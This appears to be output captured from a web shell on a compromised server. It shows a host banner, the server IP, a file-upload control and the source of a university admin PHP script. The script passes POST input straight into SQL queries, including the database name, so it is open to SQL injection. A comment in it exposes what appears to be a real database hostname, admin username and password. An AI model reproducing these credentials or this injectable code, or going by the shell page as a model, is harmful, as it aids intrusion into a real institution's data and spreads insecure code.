0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.15.91


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/sspgetdata.php

<?php


$univcode=$_POST['univcode'];
$screen=$_POST['screen'];

include("/var/www/config.php");
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;

    
// $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
// $username   = "admin";
// $password  = "T0g3th3r@all";

$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = $univcode;

error_reporting(E_ALL);
ini_set('display_errors', 'on');

if($screen == 'degdisp')
{


    $degarray = [];

    $query = "select distinct fdegree_ssp, concat(fdegree_ssp,'-', fdescpn) as fdescpn 
    from logisys3_comexam.ssp_course_master";
    $result1 = mysqli_query($conn, $query);
    $i =0;
    while($row1 = mysqli_fetch_assoc($result1))
    {
        $degarray[$i] = $row1;
        $i++;
    } 
    
    $query  = "select distinct funivcode,fdegree  as degree_code,fdescpn,
    ifnull(fsspdegcode,'') as ssp_code, 
    ifnull(fsspdegdur,'') as fsspdegdur,
    ifnull(fsspcombcode,'') as fsspcombcode 
    from {$db}.degree, {$db}.control 
    where ifnull(fdegree,'') <> ''
    group by fdegree
    order by fdegree";

    $result = mysqli_query($conn, $query);
    $count = mysqli_num_rows($result);

    $table = '
    <h4 style = "color:red">If any SSP code not there Kindly contact university get SPP Code </h4>
    <table style="margin-left:2px;text-align: left;width: 100%;font-size:14px;margin: auto;" align-self="middle" cellspacing="1" cellpadding="5" border="0" align="center" bgcolor="#505151">
            <thead> 
            <tr style = "background-color:#8acc51">
			 <th width="8%"><center>Sl. No.</center></th>
             <th width="10%" ><center style="width: 100px">Degree Code</center></th>
             <th width="25%"><center>Degree Name</center></th>
             <th width="25%"><center> SSP Code </center></th>
             <th width="10%"><center>Course Duration</center></th>
             <th width="10%"><center>Course Combination</center></th>
             <th width="10%"><center> Action </center></th>
			</tr>
            </thead>';	
    $i = 0;

    if($count > 0)
    {
        while($row = mysqli_fetch_assoc($result))
        {

            $table .= "<tr bgcolor='#ffffff' >";
            $table .= "<td><center>".++$i."</center></td>";
            $table .= "<td>".$row['degree_code']."</td>";
            $table .= "<td>".$row['fdescpn']."</td>";
            $table .= "<td><center><select  style = 'height:32px;' id='sspcode_{$row['degree_code']}'>";
            $table .= "<option value=''>-Select-</option>";

            foreach($degarray as $row1)
            {
                $Selected=($row['ssp_code']==$row1['fdegree_ssp']) ? "selected" : "";
                $table .= "<option ".$Selected." value='".$row1['fdegree_ssp']."'>".$row1['fdescpn']."</option>";    
            }    

            $table .= "</select></center></td>";
            $table .= "<td><input type='text' style = 'height:32px;text-align:center' value='".$row['fsspdegdur']."' id='degdur_{$row['degree_code']}'></td>";
            $table .= "<td><input type='text' style = 'height:32px;text-align:center' value='".$row['fsspcombcode']."' id='degcomb_{$row['degree_code']}'></td>";
            $table .= "<td><button onclick=\"updatedata('".$row['degree_code']."')\">Update</button></td>";
            $table .= "</tr>";
        }
    }
    else
    {
        $table .= "<tr bgcolor='#ffffff' >";
        $table .= "<td colspan='4'><center>No data found</center></td>";
    }
    
    // $subject = "{$row['funivname']} Statistics as on ".$row['fdate'];

    echo $table;
}else if($screen =='degupd')
{
    $sspdegcode=$_POST['sspdegcode'];
    $degcode=$_POST['degcode'];
    $sspdegdur=$_POST['sspdegdur'];
    $sspdegcomb=$_POST['sspdegcomb'];

    $query  = "update {$db}.degree set fsspdegcode='{$sspdegcode}',
    fsspdegdur = '{$sspdegdur}',
    fsspcombcode = '{$sspdegcomb}'
    WHERE fdegree='{$degcode}'";

    $result = mysqli_query($conn, $query);

    if($result)
    {
        echo "Updated Successfully";
    }
    else
    {
        echo "Updation failed";
    }

}

?>